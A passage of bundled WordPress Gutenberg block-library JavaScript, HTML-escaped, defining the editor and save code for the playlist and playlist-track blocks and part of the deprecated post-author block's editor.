              allowedTypes: ALLOWED_MEDIA_TYPES6,
              onError: onUploadError
            }
          )
        }
      );
    }
    return /* @__PURE__ */ (0, import_jsx_runtime353.jsxs)(import_jsx_runtime353.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(import_block_editor176.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
        import_block_editor176.MediaReplaceFlow,
        {
          name: (0, import_i18n156.__)(&quot;Edit&quot;),
          onSelect: onSelectTracks,
          accept: &quot;audio/*&quot;,
          multiple: true,
          mediaIds: tracks.filter((track) =&gt; track.id).map((track) =&gt; track.id),
          allowedTypes: ALLOWED_MEDIA_TYPES6,
          onError: onUploadError
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(import_block_editor176.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime353.jsxs)(
        import_components102.__experimentalToolsPanel,
        {
          label: (0, import_i18n156.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              showTracklist: true,
              showArtists: true,
              showNumbers: true,
              showImages: true,
              order: &quot;asc&quot;
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
              import_components102.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n156.__)(&quot;Show Tracklist&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; showTracklist !== true,
                onDeselect: () =&gt; setAttributes({ showTracklist: true }),
                children: /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
                  import_components102.ToggleControl,
                  {
                    label: (0, import_i18n156.__)(&quot;Show Tracklist&quot;),
                    onChange: toggleAttribute(&quot;showTracklist&quot;),
                    checked: showTracklist
                  }
                )
              }
            ),
            showTracklist &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime353.jsxs)(import_jsx_runtime353.Fragment, { children: [
              /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
                import_components102.__experimentalToolsPanelItem,
                {
                  label: (0, import_i18n156.__)(&quot;Show artist name in Tracklist&quot;),
                  isShownByDefault: true,
                  hasValue: () =&gt; showArtists !== true,
                  onDeselect: () =&gt; setAttributes({ showArtists: true }),
                  children: /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
                    import_components102.ToggleControl,
                    {
                      label: (0, import_i18n156.__)(
                        &quot;Show artist name in Tracklist&quot;
                      ),
                      onChange: toggleAttribute(
                        &quot;showArtists&quot;
                      ),
                      checked: showArtists
                    }
                  )
                }
              ),
              /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
                import_components102.__experimentalToolsPanelItem,
                {
                  label: (0, import_i18n156.__)(&quot;Show number in Tracklist&quot;),
                  isShownByDefault: true,
                  hasValue: () =&gt; showNumbers !== true,
                  onDeselect: () =&gt; setAttributes({ showNumbers: true }),
                  children: /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
                    import_components102.ToggleControl,
                    {
                      label: (0, import_i18n156.__)(&quot;Show number in Tracklist&quot;),
                      onChange: toggleAttribute(
                        &quot;showNumbers&quot;
                      ),
                      checked: showNumbers
                    }
                  )
                }
              )
            ] }),
            /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
              import_components102.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n156.__)(&quot;Show images&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; showImages !== true,
                onDeselect: () =&gt; setAttributes({ showImages: true }),
                children: /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
                  import_components102.ToggleControl,
                  {
                    label: (0, import_i18n156.__)(&quot;Show images&quot;),
                    onChange: toggleAttribute(&quot;showImages&quot;),
                    checked: showImages
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
              import_components102.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n156.__)(&quot;Order&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; order !== &quot;asc&quot;,
                onDeselect: () =&gt; setAttributes({ order: &quot;asc&quot; }),
                children: /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
                  import_components102.SelectControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n156.__)(&quot;Order&quot;),
                    value: order,
                    options: [
                      { label: (0, import_i18n156.__)(&quot;Descending&quot;), value: &quot;desc&quot; },
                      { label: (0, import_i18n156.__)(&quot;Ascending&quot;), value: &quot;asc&quot; }
                    ],
                    onChange: (value) =&gt; onChangeOrder(value)
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime353.jsxs)(&quot;figure&quot;, { ...blockProps, children: [
        /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(import_components102.Disabled, { isDisabled: !isSelected, children: /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
          CurrentTrack,
          {
            track: tracks[trackListIndex],
            showImages,
            onTrackEnd
          }
        ) }),
        showTracklist &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
          &quot;ol&quot;,
          {
            className: clsx_default(&quot;wp-block-playlist__tracklist&quot;, {
              &quot;wp-block-playlist__tracklist-show-numbers&quot;: showNumbers
            }),
            children: innerBlocksProps.children
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
          Caption,
          {
            attributes: attributes2,
            setAttributes,
            isSelected,
            insertBlocksAfter,
            label: (0, import_i18n156.__)(&quot;Playlist caption text&quot;),
            showToolbarButton: isSelected,
            style: { marginTop: 16 }
          }
        )
      ] })
    ] });
  };
  var edit_default23 = PlaylistEdit;

  // packages/block-library/build-module/playlist/save.mjs
  var import_block_editor177 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime354 = __toESM(require_jsx_runtime(), 1);
  function saveWithInnerBlocks2({ attributes: attributes2 }) {
    const { caption, showNumbers, showTracklist, showArtists } = attributes2;
    const blockProps = import_block_editor177.useBlockProps.save();
    const innerBlocksProps = import_block_editor177.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime354.jsxs)(&quot;figure&quot;, { ...innerBlocksProps, children: [
      /* @__PURE__ */ (0, import_jsx_runtime354.jsx)(
        &quot;ol&quot;,
        {
          className: clsx_default(&quot;wp-block-playlist__tracklist&quot;, {
            &quot;wp-block-playlist__tracklist-is-hidden&quot;: !showTracklist,
            &quot;wp-block-playlist__tracklist-artist-is-hidden&quot;: !showArtists,
            &quot;wp-block-playlist__tracklist-show-numbers&quot;: showNumbers
          }),
          children: innerBlocksProps.children
        }
      ),
      !import_block_editor177.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime354.jsx)(
        import_block_editor177.RichText.Content,
        {
          tagName: &quot;figcaption&quot;,
          className: (0, import_block_editor177.__experimentalGetElementClassName)(&quot;caption&quot;),
          value: caption
        }
      )
    ] });
  }

  // packages/block-library/build-module/playlist/index.mjs
  var { name: name64 } = block_default63;
  var settings63 = {
    icon: audio_default,
    edit: edit_default23,
    save: saveWithInnerBlocks2
  };
  var init63 = () =&gt; initBlock({ name: name64, metadata: block_default63, settings: settings63 });

  // packages/block-library/build-module/playlist-track/index.mjs
  var playlist_track_exports = {};
  __export(playlist_track_exports, {
    init: () =&gt; init64,
    metadata: () =&gt; block_default64,
    name: () =&gt; name65,
    settings: () =&gt; settings64
  });

  // packages/block-library/build-module/playlist-track/block.json
  var block_default64 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    __experimental: true,
    name: &quot;core/playlist-track&quot;,
    title: &quot;Playlist track&quot;,
    category: &quot;media&quot;,
    parent: [&quot;core/playlist&quot;],
    description: &quot;Playlist track.&quot;,
    keywords: [&quot;music&quot;, &quot;sound&quot;],
    textdomain: &quot;default&quot;,
    usesContext: [&quot;showArtists&quot;, &quot;currentTrack&quot;],
    attributes: {
      blob: {
        type: &quot;string&quot;,
        role: &quot;local&quot;
      },
      id: {
        type: &quot;number&quot;
      },
      uniqueId: {
        type: &quot;string&quot;
      },
      src: {
        type: &quot;string&quot;
      },
      type: {
        type: &quot;string&quot;,
        default: &quot;audio&quot;
      },
      album: {
        type: &quot;string&quot;
      },
      artist: {
        type: &quot;string&quot;
      },
      image: {
        type: &quot;string&quot;
      },
      length: {
        type: &quot;string&quot;
      },
      title: {
        type: &quot;string&quot;
      }
    },
    supports: {
      html: false,
      interactivity: {
        clientNavigation: true
      },
      reusable: false
    },
    style: &quot;wp-block-playlist-track&quot;
  };

  // packages/block-library/build-module/playlist-track/edit.mjs
  var import_blob16 = __toESM(require_blob(), 1);
  var import_element90 = __toESM(require_element(), 1);
  var import_block_editor178 = __toESM(require_block_editor(), 1);
  var import_components103 = __toESM(require_components(), 1);
  var import_data98 = __toESM(require_data(), 1);
  var import_notices15 = __toESM(require_notices(), 1);
  var import_i18n157 = __toESM(require_i18n(), 1);
  var import_dom10 = __toESM(require_dom(), 1);
  var import_jsx_runtime355 = __toESM(require_jsx_runtime(), 1);
  var ALLOWED_MEDIA_TYPES7 = [&quot;audio&quot;];
  var ALBUM_COVER_ALLOWED_MEDIA_TYPES = [&quot;image&quot;];
  var PlaylistTrackEdit = ({ attributes: attributes2, setAttributes, context }) =&gt; {
    const { id, uniqueId, src, album, artist, image, length, title } = attributes2;
    const [temporaryURL, setTemporaryURL] = (0, import_element90.useState)(attributes2.blob);
    const showArtists = context?.showArtists;
    const currentTrack = context?.currentTrack;
    const imageButton = (0, import_element90.useRef)();
    const blockProps = (0, import_block_editor178.useBlockProps)();
    const { createErrorNotice } = (0, import_data98.useDispatch)(import_notices15.store);
    function onUploadError(message) {
      createErrorNotice(message, { type: &quot;snackbar&quot; });
    }
    useUploadMediaFromBlobURL({
      src: temporaryURL,
      allowedTypes: ALLOWED_MEDIA_TYPES7,
      onChange: onSelectTrack,
      onError: onUploadError
    });
    function onSelectTrack(media) {
      if (!media || !media.url) {
        setAttributes({
          blob: void 0,
          id: void 0,
          uniqueId: void 0,
          artist: void 0,
          album: void 0,
          image: void 0,
          length: void 0,
          title: void 0,
          url: void 0
        });
        setTemporaryURL();
        return;
      }
      if ((0, import_blob16.isBlobURL)(media.url)) {
        setTemporaryURL(media.url);
        return;
      }
      setAttributes({
        blob: void 0,
        id: media.id,
        uniqueId: v4_default(),
        src: media.url,
        artist: media.artist || media?.meta?.artist || media?.media_details?.artist || (0, import_i18n157.__)(&quot;Unknown artist&quot;),
        album: media.album || media?.meta?.album || media?.media_details?.album || (0, import_i18n157.__)(&quot;Unknown album&quot;),
        // Prevent using the default media attachment icon as the track image.
        image: media?.image?.src &amp;&amp; media?.image?.src.endsWith(&quot;/images/media/audio.svg&quot;) ? &quot;&quot; : media?.image?.src,
        length: media?.fileLength || media?.media_details?.length_formatted,
        title: media.title
      });
      setTemporaryURL();
    }
    function onSelectAlbumCoverImage(coverImage) {
      setAttributes({ image: coverImage.url });
    }
    function onRemoveAlbumCoverImage() {
      setAttributes({ image: void 0 });
      imageButton.current.focus();
    }
    if (!src &amp;&amp; !temporaryURL) {
      return /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
        import_block_editor178.MediaPlaceholder,
        {
          icon: /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(import_block_editor178.BlockIcon, { icon: audio_default }),
          labels: {
            title: (0, import_i18n157.__)(&quot;Track&quot;),
            instructions: (0, import_i18n157.__)(
              &quot;Upload an audio file or pick one from your media library.&quot;
            )
          },
          onSelect: onSelectTrack,
          accept: &quot;audio/*&quot;,
          allowedTypes: ALLOWED_MEDIA_TYPES7,
          value: attributes2,
          onError: onUploadError
        }
      ) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime355.jsxs)(import_jsx_runtime355.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(import_block_editor178.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
        import_block_editor178.MediaReplaceFlow,
        {
          name: (0, import_i18n157.__)(&quot;Replace&quot;),
          onSelect: onSelectTrack,
          accept: &quot;audio/*&quot;,
          mediaId: id,
          mediaURL: src,
          allowedTypes: ALLOWED_MEDIA_TYPES7,
          onError: onUploadError
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(import_block_editor178.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime355.jsxs)(import_components103.PanelBody, { title: (0, import_i18n157.__)(&quot;Settings&quot;), children: [
        /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
          import_components103.TextControl,
          {
            __next40pxDefaultSize: true,
            label: (0, import_i18n157.__)(&quot;Artist&quot;),
            value: artist ? (0, import_dom10.__unstableStripHTML)(artist) : &quot;&quot;,
            onChange: (artistValue) =&gt; {
              setAttributes({ artist: artistValue });
            }
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
          import_components103.TextControl,
          {
            __next40pxDefaultSize: true,
            label: (0, import_i18n157.__)(&quot;Album&quot;),
            value: album ? (0, import_dom10.__unstableStripHTML)(album) : &quot;&quot;,
            onChange: (albumValue) =&gt; {
              setAttributes({ album: albumValue });
            }
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
          import_components103.TextControl,
          {
            __next40pxDefaultSize: true,
            label: (0, import_i18n157.__)(&quot;Title&quot;),
            value: title ? (0, import_dom10.__unstableStripHTML)(title) : &quot;&quot;,
            placeholder: title ? (0, import_dom10.__unstableStripHTML)(title) : &quot;&quot;,
            onChange: (titleValue) =&gt; {
              setAttributes({ title: titleValue });
            }
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(import_block_editor178.MediaUploadCheck, { children: /* @__PURE__ */ (0, import_jsx_runtime355.jsxs)(&quot;div&quot;, { className: &quot;editor-video-poster-control&quot;, children: [
          /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(import_components103.BaseControl.VisualLabel, { children: (0, import_i18n157.__)(&quot;Album cover image&quot;) }),
          !!image &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
            &quot;img&quot;,
            {
              src: image,
              alt: (0, import_i18n157.__)(
                &quot;Preview of the album cover image&quot;
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
            import_block_editor178.MediaUpload,
            {
              title: (0, import_i18n157.__)(&quot;Select image&quot;),
              onSelect: onSelectAlbumCoverImage,
              allowedTypes: ALBUM_COVER_ALLOWED_MEDIA_TYPES,
              render: ({ open }) =&gt; /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
                import_components103.Button,
                {
                  __next40pxDefaultSize: true,
                  variant: &quot;primary&quot;,
                  onClick: open,
                  ref: imageButton,
                  children: !image ? (0, import_i18n157.__)(&quot;Select&quot;) : (0, import_i18n157.__)(&quot;Replace&quot;)
                }
              )
            }
          ),
          !!image &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
            import_components103.Button,
            {
              __next40pxDefaultSize: true,
              onClick: onRemoveAlbumCoverImage,
              variant: &quot;tertiary&quot;,
              children: (0, import_i18n157.__)(&quot;Remove&quot;)
            }
          )
        ] }) })
      ] }) }),
      /* @__PURE__ */ (0, import_jsx_runtime355.jsxs)(&quot;li&quot;, { ...blockProps, children: [
        !!temporaryURL &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(import_components103.Spinner, {}),
        /* @__PURE__ */ (0, import_jsx_runtime355.jsxs)(
          &quot;button&quot;,
          {
            className: &quot;wp-block-playlist-track__button&quot;,
            &quot;data-wp-context&quot;: JSON.stringify({ uniqueId }),
            &quot;aria-current&quot;: currentTrack === uniqueId ? &quot;true&quot; : &quot;false&quot;,
            children: [
              /* @__PURE__ */ (0, import_jsx_runtime355.jsxs)(&quot;span&quot;, { className: &quot;wp-block-playlist-track__content&quot;, children: [
                /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
                  import_block_editor178.RichText,
                  {
                    tagName: &quot;span&quot;,
                    className: &quot;wp-block-playlist-track__title&quot;,
                    value: title,
                    placeholder: (0, import_i18n157.__)(&quot;Add title&quot;),
                    onChange: (value) =&gt; {
                      setAttributes({ title: value });
                    },
                    allowedFormats: [],
                    withoutInteractiveFormatting: true
                  }
                ),
                showArtists &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
                  import_block_editor178.RichText,
                  {
                    tagName: &quot;span&quot;,
                    className: &quot;wp-block-playlist-track__artist&quot;,
                    value: artist,
                    placeholder: (0, import_i18n157.__)(&quot;Add artist&quot;),
                    onChange: (value) =&gt; setAttributes({ artist: value }),
                    allowedFormats: [],
                    withoutInteractiveFormatting: true
                  }
                )
              ] }),
              /* @__PURE__ */ (0, import_jsx_runtime355.jsxs)(&quot;span&quot;, { className: &quot;wp-block-playlist-track__length&quot;, children: [
                length &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(&quot;span&quot;, {
                  className: &quot;screen-reader-text&quot;,
                  /* translators: %s: Visually hidden label for the track length (screen reader text). */
                  children: (0, import_i18n157.__)(&quot;Length:&quot;)
                }),
                length
              ] }),
              /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(&quot;span&quot;, { className: &quot;screen-reader-text&quot;, children: (0, import_i18n157.__)(&quot;Select to play this track&quot;) })
            ]
          }
        )
      ] })
    ] });
  };
  var edit_default24 = PlaylistTrackEdit;

  // packages/block-library/build-module/playlist-track/index.mjs
  var { name: name65 } = block_default64;
  var settings64 = {
    icon: audio_default,
    edit: edit_default24
  };
  var init64 = () =&gt; initBlock({ name: name65, metadata: block_default64, settings: settings64 });

  // packages/block-library/build-module/post-author/index.mjs
  var post_author_exports = {};
  __export(post_author_exports, {
    init: () =&gt; init65,
    metadata: () =&gt; block_default65,
    name: () =&gt; name66,
    settings: () =&gt; settings65
  });
  var import_i18n160 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/post-author/block.json
  var block_default65 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/post-author&quot;,
    title: &quot;Author (deprecated)&quot;,
    category: &quot;theme&quot;,
    description: &quot;This block is deprecated. Please use the Avatar block, the Author Name block, and the Author Biography block instead.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      },
      avatarSize: {
        type: &quot;number&quot;,
        default: 48
      },
      showAvatar: {
        type: &quot;boolean&quot;,
        default: true
      },
      showBio: {
        type: &quot;boolean&quot;
      },
      byline: {
        type: &quot;string&quot;
      },
      isLink: {
        type: &quot;boolean&quot;,
        default: false,
        role: &quot;content&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        default: &quot;_self&quot;,
        role: &quot;content&quot;
      }
    },
    usesContext: [&quot;postType&quot;, &quot;postId&quot;, &quot;queryId&quot;],
    supports: {
      inserter: false,
      anchor: true,
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      },
      filter: {
        duotone: true
      }
    },
    selectors: {
      filter: {
        duotone: &quot;.wp-block-post-author .wp-block-post-author__avatar img&quot;
      }
    },
    editorStyle: &quot;wp-block-post-author-editor&quot;,
    style: &quot;wp-block-post-author&quot;
  };

  // packages/block-library/build-module/post-author/edit.mjs
  var import_block_editor180 = __toESM(require_block_editor(), 1);
  var import_components104 = __toESM(require_components(), 1);
  var import_compose42 = __toESM(require_compose(), 1);
  var import_core_data54 = __toESM(require_core_data(), 1);
  var import_data99 = __toESM(require_data(), 1);
  var import_element91 = __toESM(require_element(), 1);
  var import_html_entities8 = __toESM(require_html_entities(), 1);
  var import_i18n159 = __toESM(require_i18n(), 1);
  var import_blocks79 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/post-author/utils.mjs
  var import_blocks78 = __toESM(require_blocks(), 1);
  var import_i18n158 = __toESM(require_i18n(), 1);
  var import_block_editor179 = __toESM(require_block_editor(), 1);
  var { cleanEmptyObject: cleanEmptyObject5 } = unlock(import_block_editor179.privateApis);
  function recreateWithRecommendedBlocks(attributes2, blockTypes) {
    const {
      avatarSize,
      byline,
      showAvatar,
      showBio,
      isLink,
      linkTarget,
      textAlign,
      style: style2,
      ...restAttributes
    } = attributes2;
    const shouldInsertAvatarBlock = showAvatar &amp;&amp; blockTypes.some((blockType) =&gt; blockType.name === &quot;core/avatar&quot;);
    const shouldInsertParagraphBlock = byline &amp;&amp; blockTypes.some((blockType) =&gt; blockType.name === &quot;core/paragraph&quot;);
    const shouldInsertPostAuthorNameBlock = blockTypes.some(
      (blockType) =&gt; blockType.name === &quot;core/post-author-name&quot;
    );
    const shouldInsertPostAuthorBiographyBlock = showBio &amp;&amp; blockTypes.some(
      (blockType) =&gt; blockType.name === &quot;core/post-author-biography&quot;
    );
    return (0, import_blocks78.createBlock)(
      &quot;core/group&quot;,
      {
        ...restAttributes,
        style: cleanEmptyObject5({
          ...style2,
          spacing: {
            ...style2?.spacing,
            blockGap: &quot;1em&quot;
          },
          color: {
            ...style2?.color,
            // Duotone must be applied to the avatar block.
            duotone: void 0
          }
        }),
        layout: {
          type: &quot;flex&quot;,
          flexWrap: &quot;nowrap&quot;,
          verticalAlignment: &quot;top&quot;
        }
      },
      [
        shouldInsertAvatarBlock &amp;&amp; (0, import_blocks78.createBlock)(&quot;core/avatar&quot;, {
          size: avatarSize,
          style: cleanEmptyObject5({
            border: {
              radius: &quot;0px&quot;
            },
            color: {
              duotone: style2?.color?.duotone
            }
          })
        }),
        (0, import_blocks78.createBlock)(
          &quot;core/group&quot;,
          {
            style: {
              layout: {
                selfStretch: &quot;fill&quot;,
                flexSize: null
              },
              spacing: {
                blockGap: &quot;0&quot;
              }
            },
            layout: {
              type: &quot;flex&quot;,
              orientation: &quot;vertical&quot;,
              justifyContent: &quot;stretch&quot;
            }
          },
          [
            shouldInsertParagraphBlock &amp;&amp; (0, import_blocks78.createBlock)(&quot;core/paragraph&quot;, {
              content: byline,
              placeholder: (0, import_i18n158.__)(&quot;Write byline\u2026&quot;),
              style: {
                typography: {
                  fontSize: &quot;0.5em&quot;,
                  textAlign
                }
              }
            }),
            shouldInsertPostAuthorNameBlock &amp;&amp; (0, import_blocks78.createBlock)(&quot;core/post-author-name&quot;, {
              isLink,
              linkTarget,
              style: {
                typography: {
                  fontSize: &quot;1em&quot;,
                  textAlign
                }
              }
            }),
            shouldInsertPostAuthorBiographyBlock &amp;&amp; (0, import_blocks78.createBlock)(&quot;core/post-author-biography&quot;, {
              style: {
                typography: {
                  fontSize: &quot;0.7em&quot;,
                  textAlign
                }
              }
            })
          ].filter(Boolean)
        )
      ].filter(Boolean)
    );
  }

  // packages/block-library/build-module/post-author/edit.mjs
  var import_jsx_runtime356 = __toESM(require_jsx_runtime(), 1);
  var { InspectorControlsLastItem } = unlock(import_block_editor180.privateApis);
  var AUTHORS_QUERY2 = {
    who: &quot;authors&quot;,
    per_page: 100,
    _fields: &quot;id,name&quot;,
    context: &quot;view&quot;
  };
  function AuthorCombobox({ value, onChange }) {
    const [filterValue, setFilterValue] = (0, import_element91.useState)(&quot;&quot;);
    const { authors, isLoading } = (0, import_data99.useSelect)(
      (select9) =&gt; {
        const { getUsers, isResolving } = select9(import_core_data54.store);
        const query = { ...AUTHORS_QUERY2 };
        if (filterValue) {
          query.search = filterValue;
          query.search_columns = [&quot;name&quot;];
        }
        return {
          authors: getUsers(query),
          isLoading: isResolving(&quot;getUsers&quot;, [query])
        };
      },
      [filterValue]
    );
    const authorOptions = (0, import_element91.useMemo)(() =&gt; {
      const fetchedAuthors = (authors ?? []).map((author) =&gt; {
        return {
          value: author.id,
          label: (0, import_html_entities8.decodeEntities)(author.name)
        };
      });
      const foundAuthor = fetchedAuthors.findIndex(
        (fetchedAuthor) =&gt; value?.id === fetchedAuthor.value
      );
      let currentAuthor = [];
      if (foundAuthor &lt; 0 &amp;&amp; value) {
        currentAuthor = [
          {
            value: value.id,
            label: (0, import_html_entities8.decodeEntities)(value.name)
          }
        ];
      } else if (foundAuthor &lt; 0 &amp;&amp; !value) {
        currentAuthor = [
          {
            value: 0,
            label: (0, import_i18n159.__)(&quot;(No author)&quot;)
          }
        ];
      }
      return [...currentAuthor, ...fetchedAuthors];
    }, [authors, value]);
    return /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
      import_components104.ComboboxControl,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n159.__)(&quot;Author&quot;),
        options: authorOptions,
        value: value?.id,
        onFilterValueChange: (0, import_compose42.debounce)(setFilterValue, 300),
        onChange,
        allowReset: false,
        isLoading
      }
    );
  }
  function PostAuthorEdit({
    isSelected,
    context: { postType, postId, queryId },
    attributes: attributes2,
    setAttributes,
    clientId
  }) {
    const isDescendentOfQueryLoop = Number.isFinite(queryId);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const defaultAvatar = useDefaultAvatar();
    const { authorDetails, canAssignAuthor, supportsAuthor } = (0, import_data99.useSelect)(
      (select9) =&gt; {
        const { getEditedEntityRecord, getUser, getPostType } = select9(import_core_data54.store);
        const currentPost = getEditedEntityRecord(
          &quot;postType&quot;,
          postType,
          postId
        );
        const authorId = currentPost?.author;
        return {
          authorDetails: authorId ? getUser(authorId, { context: &quot;view&quot; }) : null,
          supportsAuthor: getPostType(postType)?.supports?.author ?? false,
          canAssignAuthor: currentPost?._links?.[&quot;wp:action-assign-author&quot;] ? true : false
        };
      },
      [postType, postId]
    );
    const blockTypes = (0, import_data99.useSelect)(
      (select9) =&gt; select9(import_blocks79.store).getBlockTypes(),
      []
    );
    const { editEntityRecord } = (0, import_data99.useDispatch)(import_core_data54.store);
    const { replaceBlock } = (0, import_data99.useDispatch)(import_block_editor180.store);
    const {
      textAlign,
      showAvatar,
      showBio,
      byline,
      isLink,
      linkTarget,
      avatarSize
    } = attributes2;
    const avatarSizes = [];
    const authorName = authorDetails?.name || (0, import_i18n159.__)(&quot;Post Author&quot;);
    if (authorDetails?.avatar_urls) {
      Object.keys(authorDetails.avatar_urls).forEach((size) =&gt; {
        avatarSizes.push({
          value: size,
          label: `${size} x ${size}`
        });
      });
    }
    const blockProps = (0, import_block_editor180.useBlockProps)({
      className: clsx_default({
        [`has-text-align-${textAlign}`]: textAlign
      })
    });
    const handleSelect = (nextAuthorId) =&gt; {
      editEntityRecord(&quot;postType&quot;, postType, postId, {
        author: nextAuthorId
      });
    };
    const showAuthorControl = !!postId &amp;&amp; !isDescendentOfQueryLoop &amp;&amp; canAssignAuthor;
    if (!supportsAuthor &amp;&amp; postType !== void 0) {
      return /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(&quot;div&quot;, { ...blockProps, children: (0, import_i18n159.sprintf)(
        // translators: %s: Name of the post type e.g: &quot;post&quot;.
        (0, import_i18n159.__)(&quot;This post type (%s) does not support the author.&quot;),
        postType
      ) });
    }
    function transformBlock() {
      replaceBlock(
        clientId,
        recreateWithRecommendedBlocks(attributes2, blockTypes)
      );
    }
    return /* @__PURE__ */ (0, import_jsx_runtime356.jsxs)(import_jsx_runtime356.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(import_block_editor180.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime356.jsxs)(
        import_components104.__experimentalToolsPanel,
        {
          label: (0, import_i18n159.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              avatarSize: 48,
              showAvatar: true,
              isLink: false,
              linkTarget: &quot;_self&quot;
            });
          },
          dropdownMenuProps,
          children: [
            showAuthorControl &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(&quot;div&quot;, { style: { gridColumn: &quot;1 / -1&quot; }, children: /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
              AuthorCombobox,
              {
                value: authorDetails,
                onChange: handleSelect
              }
            ) }),
            /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
              import_components104.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n159.__)(&quot;Show avatar&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !showAvatar,
                onDeselect: () =&gt; setAttributes({ showAvatar: true }),
                children: /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
                  import_components104.ToggleControl,
                  {
                    label: (0, import_i18n159.__)(&quot;Show avatar&quot;),
                    checked: showAvatar,
                    onChange: () =&gt; setAttributes({
                      showAvatar: !showAvatar
                    })
                  }
                )
              }
            ),
            showAvatar &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
              import_components104.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n159.__)(&quot;Avatar size&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; avatarSize !== 48,
                onDeselect: () =&gt; setAttributes({ avatarSize: 48 }),
                children: /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
                  import_components104.SelectControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n159.__)(&quot;Avatar size&quot;),
                    value: avatarSize,
                    options: avatarSizes,
                    onChange: (size) =&gt; {
                      setAttributes({
                        avatarSize: Number(size)
                      });
                    }
